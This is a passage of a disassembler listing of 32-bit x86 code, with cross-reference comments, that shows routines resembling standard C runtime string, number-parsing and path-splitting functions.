push esi call sub_4201BE add esp, 0Ch and byte ptr [esi+2], 0 loc_41C188: ; CODE XREF: sub_41C151+25j inc ebx inc ebx jmp short loc_41C196 ; --------------------------------------------------------------------------- loc_41C18C: ; CODE XREF: sub_41C151+18j ; sub_41C151+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C196 and byte ptr [eax], 0 loc_41C196: ; CODE XREF: sub_41C151+39j ; sub_41C151+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C20E loc_41C1A9: ; CODE XREF: sub_41C151+87j mov cl, [eax] movzx edx, cl test byte_4DAC81[edx], 4 jz short loc_41C1BA inc eax jmp short loc_41C1D4 ; --------------------------------------------------------------------------- loc_41C1BA: ; CODE XREF: sub_41C151+64j cmp cl, 2Fh jz short loc_41C1CE cmp cl, 5Ch jz short loc_41C1CE cmp cl, 2Eh jnz short loc_41C1D4 mov [ebp+var_4], eax jmp short loc_41C1D4 ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C151+6Cj ; sub_41C151+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C1D4: ; CODE XREF: sub_41C151+67j ; sub_41C151+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C1A9 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C20E cmp [ebp+arg_8], 0 jz short loc_41C209 sub edi, ebx cmp edi, esi jb short loc_41C1F2 mov edi, esi loc_41C1F2: ; CODE XREF: sub_41C151+9Dj push edi push ebx push [ebp+arg_8] call sub_4201BE mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C209: ; CODE XREF: sub_41C151+97j mov ebx, [ebp+arg_4] jmp short loc_41C218 ; --------------------------------------------------------------------------- loc_41C20E: ; CODE XREF: sub_41C151+56j ; sub_41C151+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C218 and byte ptr [ecx], 0 loc_41C218: ; CODE XREF: sub_41C151+BBj ; sub_41C151+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C26B cmp edi, ebx jb short loc_41C26B cmp [ebp+arg_C], 0 jz short loc_41C248 sub edi, ebx cmp edi, esi jb short loc_41C231 mov edi, esi loc_41C231: ; CODE XREF: sub_41C151+DCj push edi push ebx push [ebp+arg_C] call sub_4201BE mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C248: ; CODE XREF: sub_41C151+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C293 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C258 mov esi, eax loc_41C258: ; CODE XREF: sub_41C151+103j push esi push [ebp+var_4] push edi call sub_4201BE add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C293 ; --------------------------------------------------------------------------- loc_41C26B: ; CODE XREF: sub_41C151+CCj ; sub_41C151+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C289 sub eax, ebx cmp eax, esi jnb short loc_41C27A mov esi, eax loc_41C27A: ; CODE XREF: sub_41C151+125j push esi push ebx push edi call sub_4201BE add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C289: ; CODE XREF: sub_41C151+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C293 and byte ptr [eax], 0 loc_41C293: ; CODE XREF: sub_41C151+FCj ; sub_41C151+118j ... pop edi pop esi pop ebx leave retn sub_41C151 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C2A0 proc near ; CODE XREF: sub_40194F+8p ; sub_401AC7+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C2C0 loc_41C2AC: ; CODE XREF: sub_41C2A0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C2AC loc_41C2C0: ; CODE XREF: sub_41C2A0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C2A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2CF proc near ; CODE XREF: sub_401AC7+73E0p ; sub_401AC7+740Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C2E3 xor eax, eax jmp short loc_41C319 ; --------------------------------------------------------------------------- loc_41C2E3: ; CODE XREF: sub_41C2CF+Ej dec [ebp+arg_4] push esi jz short loc_41C313 mov esi, [ebp+arg_8] loc_41C2EC: ; CODE XREF: sub_41C2CF+42j dec dword ptr [esi+4] js short loc_41C2FB mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C302 ; --------------------------------------------------------------------------- loc_41C2FB: ; CODE XREF: sub_41C2CF+20j push esi call sub_41EF78 pop ecx loc_41C302: ; CODE XREF: sub_41C2CF+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C31D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C313 dec [ebp+arg_4] jnz short loc_41C2EC loc_41C313: ; CODE XREF: sub_41C2CF+18j ; sub_41C2CF+3Dj ... and byte ptr [edi], 0 loc_41C316: ; CODE XREF: sub_41C2CF+55j mov eax, ebx pop esi loc_41C319: ; CODE XREF: sub_41C2CF+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C31D: ; CODE XREF: sub_41C2CF+36j cmp edi, [ebp+arg_0] jnz short loc_41C313 xor ebx, ebx jmp short loc_41C316 sub_41C2CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C326 proc near ; CODE XREF: sub_41C52E+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C33E: ; CODE XREF: sub_41C326+46j cmp dword_43A88C, 1 jle short loc_41C356 movzx eax, bl push 8 push eax call sub_41F44A pop ecx pop ecx jmp short loc_41C365 ; --------------------------------------------------------------------------- loc_41C356: ; CODE XREF: sub_41C326+1Fj mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C365: ; CODE XREF: sub_41C326+2Ej test eax, eax jz short loc_41C36E mov bl, [esi] inc esi jmp short loc_41C33E ; --------------------------------------------------------------------------- loc_41C36E: ; CODE XREF: sub_41C326+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C37C or [ebp+arg_C], 2 jmp short loc_41C381 ; --------------------------------------------------------------------------- loc_41C37C: ; CODE XREF: sub_41C326+4Ej cmp bl, 2Bh jnz short loc_41C387 loc_41C381: ; CODE XREF: sub_41C326+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C387: ; CODE XREF: sub_41C326+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C51E cmp eax, 1 jz loc_41C51E cmp eax, 24h jg loc_41C51E push 10h test eax, eax pop ecx jnz short loc_41C3CF cmp bl, 30h jz short loc_41C3B9 mov [ebp+arg_8], 0Ah jmp short loc_41C3EB ; --------------------------------------------------------------------------- loc_41C3B9: ; CODE XREF: sub_41C326+88j mov al, [esi] cmp al, 78h jz short loc_41C3CC cmp al, 58h jz short loc_41C3CC mov [ebp+arg_8], 8 jmp short loc_41C3EB ; --------------------------------------------------------------------------- loc_41C3CC: ; CODE XREF: sub_41C326+97j ; sub_41C326+9Bj mov [ebp+arg_8], ecx loc_41C3CF: ; CODE XREF: sub_41C326+83j cmp [ebp+arg_8], ecx jnz short loc_41C3EB cmp bl, 30h jnz short loc_41C3EB mov al, [esi] cmp al, 78h jz short loc_41C3E3 cmp al, 58h jnz short loc_41C3EB loc_41C3E3: ; CODE XREF: sub_41C326+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C3EB: ; CODE XREF: sub_41C326+91j ; sub_41C326+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C3FB: ; CODE XREF: sub_41C326+16Cj cmp dword_43A88C, 1 movzx esi, bl jle short loc_41C413 push 4 push esi call sub_41F44A pop ecx pop ecx jmp short loc_41C41E ; --------------------------------------------------------------------------- loc_41C413: ; CODE XREF: sub_41C326+DFj mov eax, off_43A680 mov al, [eax+esi*2] and eax, 4 loc_41C41E: ; CODE XREF: sub_41C326+EBj test eax, eax jz short loc_41C42A movsx ecx, bl sub ecx, 30h jmp short loc_41C45C ; --------------------------------------------------------------------------- loc_41C42A: ; CODE XREF: sub_41C326+FAj cmp dword_43A88C, 1 jle short loc_41C43E push edi push esi call sub_41F44A pop ecx pop ecx jmp short loc_41C449 ; --------------------------------------------------------------------------- loc_41C43E: ; CODE XREF: sub_41C326+10Bj mov eax, off_43A680 mov ax, [eax+esi*2] and eax, edi loc_41C449: ; CODE XREF: sub_41C326+116j test eax, eax jz short loc_41C497 movsx eax, bl push eax call sub_420248 pop ecx mov ecx, eax sub ecx, 37h loc_41C45C: ; CODE XREF: sub_41C326+102j cmp ecx, [ebp+arg_8] jnb short loc_41C497 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C481 jnz short loc_41C47B or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C481 loc_41C47B: ; CODE XREF: sub_41C326+147j or [ebp+arg_C], 4 jmp short loc_41C48A ; --------------------------------------------------------------------------- loc_41C481: ; CODE XREF: sub_41C326+145j ; sub_41C326+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C48A: ; CODE XREF: sub_41C326+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C3FB ; --------------------------------------------------------------------------- loc_41C497: ; CODE XREF: sub_41C326+125j ; sub_41C326+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C4B5 test edx, edx jz short loc_41C4AF mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C4AF: ; CODE XREF: sub_41C326+181j and [ebp+var_8], 0 jmp short loc_41C502 ; --------------------------------------------------------------------------- loc_41C4B5: ; CODE XREF: sub_41C326+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C4DB test cl, 1 jnz short loc_41C502 and ecx, 2 jz short loc_41C4D2 cmp [ebp+var_8], 80000000h ja short loc_41C4DB loc_41C4D2: ; CODE XREF: sub_41C326+1A1j test ecx, ecx jnz short loc_41C502 cmp [ebp+var_8], eax jbe short loc_41C502 loc_41C4DB: ; CODE XREF: sub_41C326+197j ; sub_41C326+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4D9714, 22h jz short loc_41C4F1 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C502 ; --------------------------------------------------------------------------- loc_41C4F1: ; CODE XREF: sub_41C326+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C502: ; CODE XREF: sub_41C326+18Dj ; sub_41C326+19Cj ... test edx, edx jz short loc_41C50B mov eax, [ebp+var_4] mov [edx], eax loc_41C50B: ; CODE XREF: sub_41C326+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C519 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C519: ; CODE XREF: sub_41C326+1E9j mov eax, [ebp+var_8] jmp short loc_41C529 ; --------------------------------------------------------------------------- loc_41C51E: ; CODE XREF: sub_41C326+66j ; sub_41C326+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C527 mov [eax], edi loc_41C527: ; CODE XREF: sub_41C326+1FDj xor eax, eax loc_41C529: ; CODE XREF: sub_41C326+1F6j pop edi pop esi pop ebx leave retn sub_41C326 endp ; =============== S U B R O U T I N E ======================================= sub_41C52E proc near ; CODE XREF: sub_401AC7+6131p ; sub_401AC7+6962p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C326 add esp, 10h retn sub_41C52E endp ; =============== S U B R O U T I N E ======================================= sub_41C545 proc near ; CODE XREF: sub_401AC7+58F7p arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 26807FFh test eax, eax jnz short loc_41C55B call near ptr 2680DCDh nop jmp short loc_41C55D ; --------------------------------------------------------------------------- loc_41C55B: ; CODE XREF: sub_41C545+Cj xor eax, eax loc_41C55D: ; CODE XREF: sub_41C545+14j test eax, eax jz short loc_41C56C push eax call sub_420314 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C56C: ; CODE XREF: sub_41C545+1Aj xor eax, eax retn sub_41C545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C56F proc near ; CODE XREF: sub_401AC7+584Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_42037B mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F5D4 push [ebp+arg_0] mov edi, eax push esi call sub_420408 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C56F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C5B0 proc near ; CODE XREF: sub_401AC7+1E0Fp ; sub_401AC7+1E2Ep ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C5D1 xor eax, eax jmp short loc_41C5D3 ; --------------------------------------------------------------------------- loc_41C5D1: ; CODE XREF: sub_41C5B0+1Bj mov eax, edi loc_41C5D3: ; CODE XREF: sub_41C5B0+1Fj cld pop edi leave retn sub_41C5B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C5E0 proc near ; CODE XREF: sub_401AC7+84Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C611 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C60F jz short loc_41C611 dec ecx dec ecx loc_41C60F: ; CODE XREF: sub_41C5E0+29j not ecx loc_41C611: ; CODE XREF: sub_41C5E0+9j ; sub_41C5E0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C5E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C620 proc near ; CODE XREF: sub_401AC7+42Ap ; sub_401AC7+2FEDp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C691 sub_41C620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C630 proc near ; CODE XREF: sub_401AC7+433p ; sub_401AC7+7468p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C64C loc_41C63D: ; CODE XREF: sub_41C630+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C67F test ecx, 3 jnz short loc_41C63D loc_41C64C: ; CODE XREF: sub_41C630+Bj ; sub_41C630+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C64C mov eax, [ecx-4] test al, al jz short loc_41C68E test ah, ah jz short loc_41C689 test eax, 0FF0000h jz short loc_41C684 test eax, 0FF000000h jz short loc_41C67F jmp short loc_41C64C ; --------------------------------------------------------------------------- loc_41C67F: ; CODE XREF: sub_41C630+12j ; sub_41C630+4Bj lea edi, [ecx-1] jmp short loc_41C691 ; --------------------------------------------------------------------------- loc_41C684: ; CODE XREF: sub_41C630+44j lea edi, [ecx-2] jmp short loc_41C691 ; --------------------------------------------------------------------------- loc_41C689: ; CODE XREF: sub_41C630+3Dj lea edi, [ecx-3] jmp short loc_41C691 ; --------------------------------------------------------------------------- loc_41C68E: ; CODE XREF: sub_41C630+39j lea edi, [ecx-4] loc_41C691: ; CODE XREF: sub_41C620+5j ; sub_41C630+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C6B6 loc_41C69D: ; CODE XREF: sub_41C630+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C708 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C69D jmp short loc_41C6B6 ; --------------------------------------------------------------------------- loc_41C6B1: ; CODE XREF: sub_41C630+9Ej ; sub_41C630+B8j mov [edi], edx add edi, 4 loc_41C6B6: ; CODE XREF: sub_41C630+6Bj ; sub_41C630+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C6B1 test dl, dl jz short loc_41C708 test dh, dh jz short loc_41C6FF test edx, 0FF0000h jz short loc_41C6F2 test edx, 0FF000000h jz short loc_41C6EA jmp short loc_41C6B1 ; --------------------------------------------------------------------------- loc_41C6EA: ; CODE XREF: sub_41C630+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C6F2: ; CODE XREF: sub_41C630+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C630+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C708: ; CODE XREF: sub_41C630+72j ; sub_41C630+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C630 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C720 loc_41C710: ; CODE XREF: sub_41C720+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C720 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C720 proc near ; CODE XREF: sub_401AC7+40Fp ; sub_401AC7+4B6p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C710 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C726: ; CODE XREF: sub_41C080+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C74B loc_41C738: ; CODE XREF: sub_41C720+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C710 test cl, cl jz short loc_41C794 test edx, 3 jnz short loc_41C738 loc_41C74B: ; CODE XREF: sub_41C720+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C756: ; CODE XREF: sub_41C720+61j ; sub_41C720+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C798 and eax, 81010100h jz short loc_41C756 and eax, 1010100h jnz short loc_41C792 and esi, 80000000h jnz short loc_41C756 loc_41C792: ; CODE XREF: sub_41C720+68j ; sub_41C720+81j ... pop esi pop edi loc_41C794: ; CODE XREF: sub_41C720+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C798: ; CODE XREF: sub_41C720+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C7D5 test al, al jz short loc_41C792 cmp ah, bl jz short loc_41C7CE test ah, ah jz short loc_41C792 shr eax, 10h cmp al, bl jz short loc_41C7C7 test al, al jz short loc_41C792 cmp ah, bl jz short loc_41C7C0 test ah, ah jz short loc_41C792 jmp short loc_41C756 ; --------------------------------------------------------------------------- loc_41C7C0: ; CODE XREF: sub_41C720+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C7C7: ; CODE XREF: sub_41C720+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C7CE: ; CODE XREF: sub_41C720+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C7D5: ; CODE XREF: sub_41C720+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C7E0 proc near ; CODE XREF: sub_401AC7+1AEp ; sub_401AC7+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C82C loc_41C7F0: ; CODE XREF: sub_41C7E0+3Cj ; sub_41C7E0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C824 or al, al jz short loc_41C820 cmp ah, [ecx+1] jnz short loc_41C824 or ah, ah jz short loc_41C820 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C824 or al, al jz short loc_41C820 cmp ah, [ecx+3] jnz short loc_41C824 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C7F0 mov edi, edi loc_41C820: ; CODE XREF: sub_41C7E0+18j ; sub_41C7E0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C824: ; CODE XREF: sub_41C7E0+14j ; sub_41C7E0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C82C: ; CODE XREF: sub_41C7E0+Ej test edx, 1 jz short loc_41C848 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C824 inc ecx or al, al jz short loc_41C820 test edx, 2 jz short loc_41C7F0 loc_41C848: ; CODE XREF: sub_41C7E0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C824 or al, al jz short loc_41C820 cmp ah, [ecx+1] jnz short loc_41C824 or ah, ah jz short loc_41C820 add ecx, 2 jmp short loc_41C7F0 sub_41C7E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C864 proc near ; CODE XREF: sub_401AC7+B5p ; sub_401AC7+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C87D: ; CODE XREF: sub_41C864+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C87D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C8A5 mov edx, dword_4D9760 loc_41C8A5: ; CODE XREF: sub_41C864+39j ; sub_41C864+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C8C5 test al, al jz short loc_41C8C5 inc edx jmp short loc_41C8A5 ; --------------------------------------------------------------------------- loc_41C8C5: ; CODE XREF: sub_41C864+58j ; sub_41C864+5Cj mov ebx, edx loc_41C8C7: ; CODE XREF: sub_41C864+81j mov al, [edx] test al, al jz short loc_41C8EB movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C8E7 inc edx jmp short loc_41C8C7 ; --------------------------------------------------------------------------- loc_41C8E7: ; CODE XREF: sub_41C864+7Ej and byte ptr [edx], 0 inc edx loc_41C8EB: ; CODE XREF: sub_41C864+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4D9760, edx and eax, ebx pop ebx leave retn sub_41C864 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C900 proc near ; CODE XREF: sub_40981C+1Cp ; sub_415D62+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F5D4 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C93E mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C94B ; --------------------------------------------------------------------------- loc_41C93E: ; CODE XREF: sub_41C900+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F4BF pop ecx pop ecx loc_41C94B: ; CODE XREF: sub_41C900+3Cj mov eax, esi pop esi leave retn sub_41C900 endp ; =============== S U B R O U T I N E ======================================= sub_41C950 proc near ; CODE XREF: sub_40ADD4+88p ; sub_40B901+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41CA04 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C97A loc_41C96B: ; CODE XREF: sub_41C950+28j mov al, [edi] inc edi test al, al jz short loc_41C9AB test edi, 3 jnz short loc_41C96B loc_41C97A: ; CODE XREF: sub_41C950+19j ; sub_41C950+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C97A mov eax, [edi-4] test al, al jz short loc_41C9B8 test ah, ah jz short loc_41C9B3 test eax, 0FF0000h jz short loc_41C9AE test eax, 0FF000000h jnz short loc_41C97A loc_41C9AB: ; CODE XREF: sub_41C950+20j dec edi jmp short loc_41C9BB ; --------------------------------------------------------------------------- loc_41C9AE: ; CODE XREF: sub_41C950+52j sub edi, 2 jmp short loc_41C9BB ; --------------------------------------------------------------------------- loc_41C9B3: ; CODE XREF: sub_41C950+4Bj sub edi, 3 jmp short loc_41C9BB ; --------------------------------------------------------------------------- loc_41C9B8: ; CODE XREF: sub_41C950+47j sub edi, 4 loc_41C9BB: ; CODE XREF: sub_41C950+5Cj ; sub_41C950+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C9D0 mov ebx, ecx shr ecx, 2 jnz short loc_41CA1C jmp short loc_41C9EC ; --------------------------------------------------------------------------- loc_41C9D0: ; CODE XREF: sub_41C950+75j ; sub_41C950+93j mov dl, [esi] inc esi test dl, dl jz short loc_41CA0A mov [edi], dl inc edi dec ecx jz short loc_41CA00 test esi, 3 jnz short loc_41C9D0 mov ebx, ecx shr ecx, 2 jnz short loc_41CA1C loc_41C9EC: ; CODE XREF: sub_41C950+7Ej ; sub_41C950+CAj mov ecx, ebx and ecx, 3 jz short loc_41CA00 loc_41C9F3: ; CODE XREF: sub_41C950+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41CA02 dec ecx jnz short loc_41C9F3 loc_41CA00: ; CODE XREF: sub_41C950+8Bj ; sub_41C950+A1j mov [edi], cl loc_41CA02: ; CODE XREF: sub_41C950+ABj pop ebx pop esi loc_41CA04: ; CODE XREF: sub_41C950+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CA0A: ; CODE XREF: sub_41C950+85j ; sub_41C950+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CA14: ; CODE XREF: sub_41C950+E4j ; sub_41C950+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C9EC loc_41CA1C: ; CODE XREF: sub_41C950+7Cj ; sub_41C950+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41CA14 test dl, dl jz short loc_41CA0A test dh, dh jz short loc_41CA68 test edx, 0FF0000h jz short loc_41CA58 test edx, 0FF000000h jnz short loc_41CA14 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CA58: ; CODE XREF: sub_41C950+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CA68: ; CODE XREF: sub_41C950+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C950 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA73 proc near ; CODE 